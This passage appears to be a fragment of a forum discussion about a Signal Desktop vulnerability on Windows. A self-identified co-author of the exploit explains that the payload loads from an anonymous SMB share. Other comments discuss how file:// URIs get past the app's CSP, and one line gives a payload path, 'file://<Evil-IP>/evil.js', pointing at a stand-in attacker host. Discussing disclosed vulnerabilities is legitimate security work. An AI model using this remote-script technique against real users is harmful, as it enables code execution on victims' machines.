I'm Alfredo Ortega, part of the team that wrote the original exploit. This is (unfortunately) not true. The exploit on the video was loaded from a Windows share that the victim's computer was not already connected. This is possible using "Anonymous shares" in Windows 10, and older windows versions.
To be clear, you need absolutely no additional software on the victims computers, besides having a vulnerable signal-desktop and be running on windows.
If you are who I think you are, maybe you could speculate if there is actually any use for this other than loading local files (local file execution) and crashing signal?
file://<Evil-IP>/evil.js
Does CSP prevent this working with, for example, a malicious.js file on a remote, attacker-controlled Samba server (configured to allow "anonymous" connections)?
So, 'self' is ALL file:// URIs.